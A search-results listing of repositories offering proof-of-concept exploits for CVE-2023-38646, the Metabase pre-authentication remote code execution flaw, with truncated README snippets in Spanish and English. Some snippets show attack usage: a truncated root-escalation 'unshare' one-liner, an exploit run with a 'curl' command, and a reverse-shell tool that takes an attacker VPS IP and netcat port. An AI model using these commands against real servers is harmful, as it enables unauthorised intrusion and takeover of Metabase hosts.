49 matches found
CVE-2023-38646-Poc
CVE-2023-38646-Poc usage python check.py ip port Vulnerable version root@kitploit: Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabas...
METABASE-RCE-CVE-2023-38646-
METABASE-RCE-CVE-2023-38646- Para obtener el usuario root de la máquina o sistema según la información anterior, este comando y archivo accederán al usuario root. Puedes ejecutar este comando directamente o ejecutar como archivo y ejecutarlo. Comando: $unshare -rm sh -c "mkdir l u w m && cp /u/b/...
CVE-2023-38646
CVE-2023-38646 Prueba de concepto para CVE-2023-38646...
MetabaseRceTools
MetabaseRceTools CVE-2023-38646 - Herramienta RCE para Metabase CVE-2023-38646 Herramienta gráfica de explotación RCE Módulo de verificación Ingrese la URL especificada para detectar el token no autorizado Ejecución de comandos Este módulo primero necesita ejecutar el módulo de verificación para...
CVE-2023-38646
CVE-2023-38646 Fork dekh4sh3i's eliminando la necesidad de Burp Collector. CVE-2023-38646 Pre-Auth RCE en Metabase: Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del...
POC_Metabase_CVE-2023-38646
Solo con fines educativos Inspirado en la investigación de Assetnote CVE: CVE-2023-38646 CVSS: 9.8 Enlace del proveedor: clic Versión vulnerable Metabase Enterprise 1.46 Solo probado en ParrotOS Resultado...
metabase-pre-auth-rce-poc
Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...
CVE-2023-38646-POC
CVE-2023-38646-POC CVE-2023-38646-POC...
Exploit-CVE-2023-38646-Metabase
Exploit CVE-2023-38646 Metabase anterior a 0.46.6.1 código abierto y anterior a 1.46.6.1 Enterprise Exploit para la vulnerabilidad de ejecución remota de código RCE identificada en las versiones de Metabase anteriores a 0.46.6.1 código abierto y 1.46.6.1 Enterprise. La vulnerabilidad permite a lo...
CVE-2023-38646
CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl...
CVE-2023-38646
CVE-2023-38646...
Another-Metabase-RCE-CVE-2023-38646
Extensión del RCE sin autenticación en Metabase CVE-2023-38646 explicado aquí Esto me ayudó a evitar errores relacionados con "base de datos ya en uso" con H2 y postgre como motores root@kitploit: "token": "TOKEN", "details": "isondemand": false, "isfullsync": false, "issample": false, "cachettl"...
cve-2023-38646-metabase-ReverseShell
cve-2023-38646-metabase-ReverseShell run command go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port note when you input the target host , please do not forget the http:// or https://...
Metabase-H2-CVE-2023-38646-
Este repositorio no tiene un README...
CVE-2023-38646
Poc-Metabase-Preauth-CVE-2023-38646 ¿Cómo usarlo? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646...
CVE-2023-38646
CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 exploit This tool exploits a vulnerability CVE-2023-38646 in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string. Overview The tool: Fetches the setup token from t...
CVE-2023-38646-PoC-Metabase
CVE-2023-38646-PoC-Metabase Proof-of-Concept script for exploiting CVE-2023-38646. Intended for educational and research purposes only. Description This is a Python-based Proof-of-Concept PoC script to exploit CVE-2023-38646, a vulnerability affecting Metabase. The exploit abuses misconfiguration...
CVE-2023-38646
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2...
